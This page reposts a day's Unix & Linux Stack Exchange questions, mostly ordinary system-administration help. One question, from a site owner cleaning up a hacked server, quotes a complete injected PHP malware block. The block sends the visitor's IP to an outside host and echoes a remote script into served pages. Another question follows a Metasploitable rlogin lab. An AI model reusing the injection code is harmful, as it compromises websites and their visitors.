Wednesday, March 16, 2022

Recent Questions - Unix & Linux Stack Exchange

Recent Questions - Unix & Linux Stack Exchange


Too many open files error, but only when accessing through a mounted disk

Posted: 16 Mar 2022 07:31 AM PDT

I am having a problem where once I try to copy something from a mounted unit on a windows dfs server (Windows server 2012), I get the "Too many open files" errors from linux, but ONLY if I try to copy something from that mounted unit.

The linux server is a Red Hat Enterprise Linux Server release 6.6 (Santiago), the mount was done using mount from util-linux-ng 2.17.2 (with libblkid and selinux support).

I also upped the ulimit of open files and processes from our server to a huge amount (2000000) and when the error happens, lsof and the /proc/sys/fs/file-nr file were around 30000 files opened, yet I still receive the message if I try to access this disk.

The error happens suddenly and I haven't been able to reproduce it, but once it does, I could check that I was able to copy and move files freely from linux, but couldnt copy something from the dfs server to linux.

I will appreciate any kind of assistance, i've tried looking all over the logs place and I haven't been able to found a single reference to "too many open files" in them.

Is it possible to run a samba server while disabling IPC$ at all?

Posted: 16 Mar 2022 07:27 AM PDT

I ran into the question as stated in the caption of the question: If I run a samba server I usually offer one or more shares. One share that appears to be always there is IPC$. From the documentation I did not get much on this question. I do know what IPC$ is good for, but the question is: Is offering IPC$ absolutely needed, or are there ways to no offer it?

podman persistent storage mapping, how to select the home folder to mount?

Posted: 16 Mar 2022 06:58 AM PDT

If I am using a httpd service or rsylog service in a container, and want to use a persistent storage directory on the host, how does directory mapping works. An example I have seen is:

A home dir is created ~/webstorage/html/index.html and then mapped to:

podman run -d --name myweb -p 8000:8080 -v ~/webstorage:/var/www:Z <FQIN>

I am wondering why ~/webstorage is mounted instead of ~/webstorage/html and why is it mapped to /var/www instead of /var/www/html

How can I prevent a line break between option and parameter using `.RB` and `.IR`?

Posted: 16 Mar 2022 07:04 AM PDT

When writing a manual page of a command, the SYNOPSIS contains:

.RB [ \-v  .IR version ]  

Unfortunately when formatting the SYNOPSIS there is a line break between "[-v" and "version]".

How can I avoid that?

What is the best way to back-up the Linux kernel before performing a kernel and device tree update?

Posted: 16 Mar 2022 06:09 AM PDT

Is this as simple as duplicating the directory /boot to /boot~ before using dpkg to apply the updated Kernel ?

So if the systems is bricked then all I would need to do is put the SD card into another system, erase the upgraded /boot directory and rename /boot~ back to /boot?

If not, does anyone know how best to back-up the entire Kernel before applying a kernel update complied from the sources available on kernel.org ?

Yesterday upgrading from 5.15.27 to 5.15.28 bricked by embedded controller. I've since got it working, but from a clean pre-built 5.15.27 image. Currently copying my customisations from SD card containing bricked system to the now working system.

Send audit log to syslog server as independent stream

Posted: 16 Mar 2022 06:08 AM PDT

I have a system which is currently set up via rsyslogd to send /var/log/messages to a syslog server. I also want to send the logs contained in /var/log/audit/audit.log to the same server.

One of the easiest ways to do this is by modifying /etc/audisp/plugins.d/syslog.conf and changing active to yes. This sends a copy of the audit logs to /var/log/messages, which is picked up by rsyslogd. However, date information and hostname information is prepended to the audit message to put it in syslog format.

Is there any way to send the raw unmodified audit log to the same server on its own?

Using -enable-kvm inside virtual machine

Posted: 16 Mar 2022 06:03 AM PDT

I have a virtual machine (Ubuntu 20) under VirtualBox (6.1.26). I am trying to run yet another vm inside ubuntu vm using qemu.

It works, however, running qemu inside vm with -enable-kvm is almost 2 times slower than without it. On host machine, -enable-kvm is 2 times faster.

I've already checked that my machine supports VT-x and that VirtualBox nested virtualization is enabled. What could be the problem?

How can I list packages selected manually via yum?

Posted: 16 Mar 2022 07:00 AM PDT

I'm working on a CentOS system where I install packages, occasionally, with yum install whatever. And, of course, some packages are dragged in as dependencies.

Is it possible to get a listing of all those packages which were installed due to specific user request rather than dependency satisfaction?

And if so, can this be limited by date range or by whether it was during the initial distribution installation or later?

What does SP mean in `CSI Ps SP A` xterm escape command?

Posted: 16 Mar 2022 06:36 AM PDT

I am learning ansi escape codes with xterm. And according to this there is the following escape code:

CSI Ps SP A - Shift right Ps columns(s) (default = 1) (SR), ECMA-48.

Could anyone explain what is SP? Is it SPACE? I am asking as I tried it with space with the following command:

printf "\033[20 A"  

But it didn't show any changes in ubuntu terminal.

Ubuntu Cursor freezes

Posted: 16 Mar 2022 05:59 AM PDT

Ubuntu version 21.10:

  • Cursor becomes jittery and freezes. Cannot move it afterwards.
  • The keyboard works and i'm able to open up applications through the terminal.

As per one of the posts i've seen:

CTRL + ALT + T  sudo modprobe -r psmouse  sudo modprobe psmouse  

Temporarily enables the cursor but shortly afterwards the same thing happens.

Upon reboot of system, cursor works again.

Any advice welcome, thank you.

Sniffing traffic and promiscuous mode

Posted: 16 Mar 2022 05:11 AM PDT

I've been playing with tcpdump lately and was surprised to see that traffic not sent to/from the host running tcpdump is not picked up. The default tcpdump mode is promiscuous. I've also seen that the NIC/wNIC has to be put in promiscuous mode.

I then read that this would be the case is using a hub. But, since one typically today use a router/switch, packets are only sent to the port that the corresponding mac-address is connected. So traffic not sent directly to/from the host running tcpdump would not be sniffed.

I then thought that if a wifi is present, the host running tcpdump should pick up all traffic, as this needs to be sent wireless, and there is no way to directly send wifi-traffic to a specific host; the signal is sent to all connected host. Yet, I do not see this traffic either.

What am I missing?

Thanks!

How to check if DST is inactive in CentOS different versions?

Posted: 16 Mar 2022 04:59 AM PDT

I have few servers with CentOS 7 and 6 as OS. Previously, the time was changed twice a year for DST and the OS automatically did this on each server.
now suddenly a law has been passed that changed the policy of daylight saving time. I wanted to make sure that DST are disabled on these servers so the OS does not change time like it did before. I want these changes happen based on our central time server.
on CentOS 7 I can verify that DST is not activated by this command: timedatectl status
output: DST active: no

but I can't safely confirm on CentOS 6 that DST is deactivated. I searched everywhere but i couldn't find a command nor a file to show this. so how to check if DST is inactive in CentOS 6?

Create SSH tunneling with multiple hosts

Posted: 16 Mar 2022 04:21 AM PDT

I want to create an SSH tunneling from:

192.168.6.66 -> 172.17.6.2 -> 172.11.3.3 -> 192.168.1.23 -> 192.168.6.71  

What I'm trying is:

On 192.168.1.23 to access to the last hop 192.168.6.71:

ssh -L 1113:192.168.6.71:22 -N user@192.168.1.23

On 172.11.3.3 to access to 192.168.1.23:

ssh -L 1112:192.168.1.23:1113 -N user@172.11.3.3

On 192.168.6.66 to access to 172.11.3.3:

ssh -L 1111:172.11.3.3:1112 -N user@172.17.6.2

And finally

ssh user@localhost -p 1111  

My question is - there is a better way to make this SSH tunneling?

Isolating a cpu with cupset (cgroup v2)

Posted: 16 Mar 2022 04:05 AM PDT

The latest raspbian OS based on Debian bullseye doesn't support isolcups anymore and it has cgroup v2. The kernel documentation say that cpuset should be used instead of isolcpus. For some application dealing with the GPIO, I need to isolate a thread on a cpu to get real time performance. So I'm trying to do it with cpusets.

After boot, all processes are in the root cgroup and use all cpus. I created a subgroup named grp0 with the cpuset 0-2 and another named grp1 with the cpuset 3. Easy.

What I'm stuck with is how to move all process from the main cgroup into grp0 ? When I try to move the first process (pid:2) to grp0 I get the error: Invalid argument.

I have the impression that I should create these cpusets at boot time with the very first process. I should then move it in grp0 so that all its child process (forked) are all in this grp0 restricted to use cpu 0-2 only.

I this impression correct ? How would I do that ?

Cant install Selinux policy

Posted: 16 Mar 2022 05:20 AM PDT

I am trying to install selinux on my librem14 pureos machine, every time I run sudo apt-get install selinux-policy-default I get:

dpkg: error processing package selinux-policy-default (--configure):   installed selinux-policy-default package post-installation script subprocess returned error exit status 1  Errors were encountered while processing:   selinux-policy-default  E: Sub-process /usr/bin/dpkg returned an error code (1)  

systemctl + cant restart any systemctl service because Resource temporarily unavailable

Posted: 16 Mar 2022 03:56 AM PDT

we saw the following errors , when we restart service by systemctl

Error getting authority: Error initializing authority: Could not connect: Resource temporarily unavailable (g-io-error-quark, 27)  

the server is HREL 7.2 server

we think its maybe related to /run/systemd/system/sessionscope

we saw many sessions as

ls -1 /var/run/systemd/sessions/ | wc -l    5983  

so is it safe to delete all the files under - /run/systemd/system

as

find /run/systemd/system -name "session-*.scope" -delete  

or any other idea what is the resolution for this error?

or maybe this is some bug that require to upgrade systemd rpm ?

or maybe reboot is the final solution that also clear the relevant sessions ?

other related post - https://github.com/systemd/systemd/issues/1961

Problems with network connection in Kali Linux

Posted: 16 Mar 2022 07:36 AM PDT

This question may seem a duplicate, but I guess it's not. I've read tens and tens of articles and answers, not only on this site, but I didn't find anything. I use Kali Linux in VirtualBox, I installed the Virtual Machine Version, so I did no configuration. Here are the outputs of some commands I found on the web: iwconfig:

lo        no wireless extensions.    eth0      no wireless extensions.  

ifconfig:

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500          ether 08:00:27:0e:34:8d  txqueuelen 1000  (Ethernet)          RX packets 0  bytes 0 (0.0 B)          RX errors 0  dropped 0  overruns 0  frame 0          TX packets 0  bytes 0 (0.0 B)          TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0    lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536          inet 127.0.0.1  netmask 255.0.0.0          inet6 ::1  prefixlen 128  scopeid 0x10<host>          loop  txqueuelen 1000  (Local Loopback)          RX packets 248  bytes 20952 (20.4 KiB)          RX errors 0  dropped 0  overruns 0  frame 0          TX packets 248  bytes 20952 (20.4 KiB)          TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0  

service network-manager start:

Failed to start network-manager.service: Unit network-manager.service not found.  

lspci | grep -i network doesn't output nothing. When I hover the network icon it gives the message "No network connection" and this screenshot:

shows what happens when I click it. If you want the output of other command ask and I'll edit the question.

OpenDNS setup help

Posted: 16 Mar 2022 06:14 AM PDT

Tried to setup Opendns, but this time it did not work (in my previous install, it worked just fine, unfortunately my pc crashed and had to re-install my OS), followed the setup guide, unfortunately did not work. Can someone please point me to how to fix/troubleshoot where the problem is?
OS: MX Linux (based on Debian 11)
when I went to OpenDNS test page, it said "You aren't using OpenDNS yet.". I went to check my IPv4 setting, OpenDNS servers are listed there, and I did add

supersede domain-name-servers 208.67.222.222,208.67.220.220;  

into my /etc/dhcp/dhclient.conf (before the 'require subnet-mask'), not sure if there's anything else I need to do.

Create a tsv file with data from several files

Posted: 16 Mar 2022 05:52 AM PDT

How can I create a tsv file from multiple files?

I want to be able to create a tsv file from several different files. One sample is associated with five 'region' files that have data in them. For example, sample1's files are: 1_region1.cov, 1_region2.cov, 1_region3.cov, 1_region4.cov 1_region5.cov, where 1_regionx.cov is a tsv with headers. I am interested in the data under the header "meandepth". I want to take the value 1_region1 and then add it to my own tsv file under the header Region1. There are 13 samples, each with five region files, hence a total of 65 .cov files.

An example of my output would be:

Sample Region1 Region2 Region3 Region4 Region5
1 45 32 33 28 15
2 30 25 22 60 105
3 44 50 22 55 77
... ... ... ... ...
13 2 3 50 45 66

In this example the numbers are just made up.

This is my current attempt:

## Sample array  samples=()  for i in {1..13};do samples+=($i); done  ## Regions array  regions=(region1 region2 region3 region4 region5)    ## I make some variables to store data  arr=()  CountData=()  CountIndex=0  SampleIndex=0  x=''  delim=':'    ## I loop through my samples array to collect CountData from the .cov files. I know the naming convention of these files and follow it.  for ((i=0; i<${#samples[@]}; i++)); do    for j in ${regions[@]};do CountData+=($(awk '{ for(k=1;k<=NF;k++){if($k == "meandepth"){getline; print $k} } }' ${samples[$i]}_${j}.cov)); done  done    ## I loop through my CountData array to collect the tuples and store them into an array  for n in $(seq 0 $((${#CountData[@]} - 1))); do     count=$((CountIndex + 1))    samplename=${samples[$SampleIndex]}    if [ $((count % 6)) -eq 0 ];then      arr+=($samplename$x) && CountIndex=$((CountIndex + 1)) && x='' && \       SampleIndex=$((SampleIndex + 1))    else      x=$x$delim${CountData[$CountIndex]}      CountIndex=$((CountIndex + 1))    fi   done    # I loop through my array and output the tuples as a tsv  for i in ${arr[@]}; do echo $i | sed 's/:/\t/g' >> output.tsv; done    # I add the header in after  sed -i "1iSample\tRegion1\tRegion2\tRegion3\tRegion4\tRegion5  

My attempt uses two indexes to loop through the arrays. This is my attempt to get all of the files that are associated with sample 1 in the same row, but after the first sample the numbers no longer match what is in the file, i.e; Sample2 Region1 will report 15 instead of 30. In practice this script is also only able to loop through the first 11 samples. This is likely due to the fact that I'm using modulo six in my conditional.

How can I create a tsv file from multiple files such that each of the five files associated with sample1 end up in the same row as sample1?

Thanks.

KDE Plasma black screen/no video output on login

Posted: 16 Mar 2022 05:06 AM PDT

What happened:

  • I launched a game via proton(GTAV, lutris, epic games) and suddenly the screen turned black/switched to standby. My PC didn't react to anything; I had to shut it down by cutting off power.
  • If I login with SDDM the same thing happens after the splash screen animation.
  • I can switch to the tty but it needs almost a minute to "load" it.
  • I have another DE/WM installed, it works flawlessly(same user)
  • If I login to plasma with another user it also works as expected
  • Removing the .config file in the users directory didn't change anything
  • Idk if it is even related but trying to launch plasma_session from a terminal returns org.kde.plasma.session: process job "kcminit_startup" finished with exit code 0
  • Launching plasmashell from terminal in a WM spits out a few warnings but works just fine(plasma panels etc. appear)
  • I couldn't find anything in /var/log and with journalctl
  • KDE Plasma, Xorg, Arch Linux, Zen kernel

What can I do?

Has someone an idea what causes the trouble or how I can find useful (debugging)information/logs?

Thanks in advance :)

how to fire a script when network interface goes down

Posted: 16 Mar 2022 05:10 AM PDT

On my embedded linux board I am using systemd-networkd to manage my network interface configurations. I need to fire some one shot scripts which will start/stop my custom application when the network interface comes up and goes down. I have found networkd dispatcher which does what I am looking for but I am not sure how resource intensive it is and would it be a optimal solution for my need.

Is there any alternative to this ?

I am aware of systemd-network-wait-online which can be used to wait till network is up but as per my knowledge systemd target dependency is limited to boot-up sequence.

gsettings commmands and their gconftool-2 alternatives

Posted: 16 Mar 2022 04:25 AM PDT

I installed a package gsettings-desktop-schemas that installs databases/schemas used by a lot of new GTK apps. It also installs a tool gsettings that we can use to tweak the schemas in order to affect the look of the applications:

gsettings set $gnome-schema gtk-theme 'ziga-gruvbox'  gsettings set $gnome-schema icon-theme 'Papirus-Dark'  gsettings set $gnome-schema cursor-theme 'Adwaita'  gsettings set $gnome-schema font-name 'DejaVu Sans:style=Book'  

But some applications use older databases / schemas that I install with a package gconf2. This gives me a tool gconftool-2 that can be used to set values in these older databases / schemas.

But how can I use gconftool-2 to create alternative commands to the above gsettings commands?

sks-keyservers gone. What to use instead?

Posted: 16 Mar 2022 06:35 AM PDT

https://sks-keyservers.net/ says

This service is deprecated. This means it is no longer maintained, and new HKPS certificates will not be issued. Service reliability should not be expected.

Update 2021-06-21: Due to even more GDPR takedown requests, the DNS records for the pool will no longer be provided at all.

Which keyservers can I use for gpg --keyserver "$keyserver1" --recv-key keyid that I can expect not will go away anytime soon?

How to print multi-line variables in side-by-side columns in sh?

Posted: 16 Mar 2022 07:29 AM PDT

This question is based on similar question at https://askubuntu.com/a/1066404/1069309, but instead of bash, I would like to have similar output in sh

No issue in bash, it work as expected.

wolf@linux:~$ echo $SHELL  /usr/bin/bash  wolf@linux:~$   wolf@linux:~$ varA='Aug 01  > Aug 16  > Aug 26'  wolf@linux:~$   wolf@linux:~$ varB='04:25  > 03:39  > 10:06'  wolf@linux:~$   wolf@linux:~$ echo "$varA $varB"  Aug 01  Aug 16  Aug 26 04:25  03:39  10:06  wolf@linux:~$  wolf@linux:~$ paste <(printf %s "$varA") <(printf %s "$varB")  Aug 01  04:25  Aug 16  03:39  Aug 26  10:06  wolf@linux:~$   

However, when I try similar command in sh, I'm getting the following error.

wolf@linux:~$ sh  $   $ varA='Aug 01  Aug 16  Aug 26'    $ varB='04:25  03:39  10:06'> >   $   $ echo "$varA $varB"  Aug 01  Aug 16  Aug 26 04:25  03:39  10:06  $   $ paste <(printf %s "$varA") <(printf %s "$varB")  sh: 22: Syntax error: "(" unexpected  $   

Is it possible to get similar output in sh?

Can't restore/reformat my USB flash drive after moving to GPT

Posted: 16 Mar 2022 04:04 AM PDT

I have 8GB flash memory stick. Sometimes ago I formatted it to be able to install Windows from it. I can't remember what exactly I did but I think I wanted to be able to install Win 7 64-bit to boot in EFI mode.

Now I can't reformat it nor in Windows nor in Linux.

I tried to convert it to MBR from GPT with gdisk by gdisk /dev/sdc, then w (to write GPT from memory to the drive as the tool reported "Found invalid GPT and valid MBR; converting MBR to GPT format in memory"). Then gdisk /dev/sdc again:

    # gdisk /dev/sdc  GPT fdisk (gdisk) version 0.8.8    Partition table scan:    MBR: MBR only    BSD: not present    APM: not present    GPT: not present      ***************************************************************  Found invalid GPT and valid MBR; converting MBR to GPT format  in memory. THIS OPERATION IS POTENTIALLY DESTRUCTIVE! Exit by  typing 'q' if you don't want to convert your MBR partitions  to GPT format!  ***************************************************************  

, opened expert tools with x, z (to destroy GPT). Here is the output:

Expert command (? for help): z  About to wipe out GPT on /dev/sdc. Proceed? (Y/N): Y  GPT data structures destroyed! You may now partition the disk using fdisk or  other utilities.  Blank out MBR? (Y/N): Y  #  

then tried to delete a partition with fdisk

# fdisk /dev/sdc    Command (m for help): p    Disk /dev/sdc: 8086 MB, 8086618112 bytes  249 heads, 62 sectors/track, 1023 cylinders, total 15794176 sectors  Units = sectors of 1 * 512 = 512 bytes  Sector size (logical/physical): 512 bytes / 512 bytes  I/O size (minimum/optimal): 512 bytes / 512 bytes  Disk identifier: 0x000a07ca       Device Boot      Start         End      Blocks   Id  System  /dev/sdc1   *          62    15793073     7896506    7  HPFS/NTFS/exFAT    Command (m for help): d  Selected partition 1    Command (m for help): p    Disk /dev/sdc: 8086 MB, 8086618112 bytes  249 heads, 62 sectors/track, 1023 cylinders, total 15794176 sectors  Units = sectors of 1 * 512 = 512 bytes  Sector size (logical/physical): 512 bytes / 512 bytes  I/O size (minimum/optimal): 512 bytes / 512 bytes  Disk identifier: 0x000a07ca       Device Boot      Start         End      Blocks   Id  System    Command (m for help): w  The partition table has been altered!    Calling ioctl() to re-read partition table.    Error closing file  

After this I tried to pull out and plug in the stick again but NTFS mount error window appeared each time.

enter image description here

I also tried to rewrite an initial drive area with a test content with badblocks

sudo badblocks -w -s -o /tmp/usbstick.log /dev/sdc  

and with dd

sudo dd if=/dev/zero of=/dev/sdc bs=1024k count=2  

but I couldn't reformat it to usable state.

Is there a way I can restore its factory state?

My system: Linux Mint 17.3

UPDATE

# blkid  /dev/sdc1: UUID="675599A00CE338FC" TYPE="ntfs"    # usb-devices  T:  Bus=01 Lev=01 Prnt=01 Port=03 Cnt=02 Dev#=  4 Spd=480 MxCh= 0  D:  Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs=  1  P:  Vendor=1307 ProdID=0190 Rev=01.00  S:  Manufacturer=USBest Technology  S:  Product=USB Mass Storage Device  S:  SerialNumber=00000000000004  C:  #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=98mA  I:  If#= 0 Alt= 0 #EPs= 3 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage  

Rlogin prompting for remote password (Kali / Metasploitable)

Posted: 16 Mar 2022 05:06 AM PDT

I am following a tutorial that can be found here.

http://www.kalitutorials.net/2014/05/metasploitable-2-vulnerability.html

Specifically the "Remote access vulnerability - Rlogin" section.

When I run the command "rlogin -l root 192.168.154.132"

I get a password prompt, as per the below

The authenticity of host '192.168.154.132 (192.168.154.132)' can't be established.  RSA key fingerprint is *****.  Are you sure you want to continue connecting (yes/no)? yes  Warning: Permanently added '192.168.154.132' (RSA) to the list of known hosts.  root@192.168.154.132's password:   

The tutorial states "It's because we don't have ssh-client installed on Kali Linux"

However when I try to install the client, using the following command "apt-get install rsh-client", I get the following message:

Reading package lists... Done  Building dependency tree  Reading state information... Done  Note, selecting 'openssh-client' instead of 'rsh-client'  openssh-client is already the newest version.  0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  

I have tried running "apt-get update && apt-get upgrade" to make sure everything is up to date.

I have also tried uninstalling and re-installing the openssh client.

However I continue to get prompted by the password box (which according to the tutorial I should not)

Any help greatly appreciated.

davfs unknown option because of secrets file

Posted: 16 Mar 2022 05:32 AM PDT

I'm trying to make a WebDAV auto-mount on my machine.

I've installed davfs2, then copied /etc/davfs2 to ~/.davfs2. I added the WebDAV URL to /etc/fstab:

[URL of the WebDAV]   [Local folder]    davfs   rw,user,auto    0   0  

I also added the username and password to ~/.davfs2/secrets and uncommented secrets ~/.davfs2/secrets in ~/.davfs2/davfs2.conf to enable automatic login.

Now I can manually mount it by running mount www.myserver.com (it doesn't ask me for username/password). I understand that running mount -a will do the same thing that would've been done at boot, but when I run sudo mount -a as my user (just mount -a says I need to be root) I do get asked for a username/password.

I then uncommented secrets ~/.davfs2/secrets in /etc/davfs2/davfs2.conf to enable automatic authentication (see this and this). Now running sudo mount -a AND just using mount both result in /sbin/mount.davfs:/etc/davfs2/davfs2.conf:36: unknown option. Line 36 is the secrets ~/.davfs2/secrets line.

Why does it say unknown option? How do I fix it?

How do I use the SED command to remove injected code from multiple files?

Posted: 16 Mar 2022 07:06 AM PDT

One of the domains on my Centos 6.5 (64 bit) server has been compromised. Having run a detection script on the public_html folder I have identified all the files with this code injection.

I understand the SED command will help me rid the files of the code but I've never used the command before. I need some advice on what syntax to use. Please see the code example below that I want to remove (same code in every infected file):

    <?php      #7968e7#      if (empty($ywf)) {  error_reporting(0);  @ini_set('display_errors', 0);  if (!function_exists('__url_get_contents')) {      function __url_get_contents($remote_url, $timeout)      {          if (function_exists('curl_exec')) {              $ch = curl_init();              curl_setopt($ch, CURLOPT_URL, $remote_url);              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);              curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds              $_url_get_contents_data = curl_exec($ch);              curl_close($ch);          } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {              $ctx = @stream_context_create(array('http' =>                  array(                      'timeout' => $timeout,                  )              ));              $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);          } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {              $handle = @fopen($remote_url, "r");              $_url_get_contents_data = @stream_get_contents($handle);          } else {              $_url_get_contents_data = __file_get_url_contents($remote_url);          }          return $_url_get_contents_data;      }  }  if (!function_exists('__file_get_url_contents')) {      function __file_get_url_contents($remote_url)      {          if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',              $remote_url, $matches)          ) {              $protocol = strtolower($matches[1]);              $host = $matches[2];              $path = $matches[3];          } else {              // Bad remote_url-format              return FALSE;          }          if ($protocol == "http") {              $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);          } else {              // Bad protocol              return FALSE;          }          if (!$socket) {              // Error creating socket              return FALSE;          }          $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";          $len_written = @fwrite($socket, $request);          if ($len_written === FALSE || $len_written != strlen($request)) {              // Error sending request              return FALSE;          }          $response = "";          while (!@feof($socket) &&              ($buf = @fread($socket, 4096)) !== FALSE) {              $response .= $buf;          }          if ($buf === FALSE) {              // Error reading response              return FALSE;          }          $end_of_header = strpos($response, "\r\n\r\n");          return substr($response, $end_of_header + 4);      }  }    if (empty($__var_to_echo) && empty($remote_domain)) {      $_ip = $_SERVER['REMOTE_ADDR'];      $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";      $ywf = __url_get_contents($ywf."?a=$_ip", 1);      if (strpos($ywf, 'http://') === 0) {          $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';          echo $__var_to_echo;      }  }      }      #/7968e7#      ?>      <?php        ?>  

It is quite a large block of code so I'm wondering how I can go about removing it from the many infected files. There are javascript files infected with code as well but if I can get a grasp of how to rid the .php files of the code above then I can modify the command to clean the javascript files.

What is the difference between the whatis and apropos commands?

Posted: 16 Mar 2022 04:30 AM PDT

CentOS 6.3 / RHEL 6.3

Can someone please explain the difference between the whatis command and the apropos command? I noticed that both appear to be installed by default and I'm not sure what the difference is between them.

Change PulseAudio Input/Output from Shell?

Posted: 16 Mar 2022 06:33 AM PDT

I have a set of nice wireless headphones which I use from time to time, in addition to my speakers and normal microphone.

I'd like to write a script to switch between one input and output source and another, essentially a switch between my headphones and my speakers+microphone.

I'd like to change between this:

...and this:

Is there a way for me script a transfer between the two inputs and outputs? Essentially I'm looking for something like this:

CURRENT_INPUT="$(get-current-input-name)"  CURRENT_OUTPUT="$(get-current-output-name)"    if [ "$CURRENT_INPUT" == "Vengeance 2000" ]; then      set-current-input "HD Pro Webcam C920"  else       set-current-input "Vengeance 2000"  fi    if ["$CURRENT_OUTPUT" == "Vengeance 2000" ]; then      set-current-output "Built-in Audio"  else      set-current-output "Vengeance 2000"  fi  

Is there a way to script this?

No comments:

Post a Comment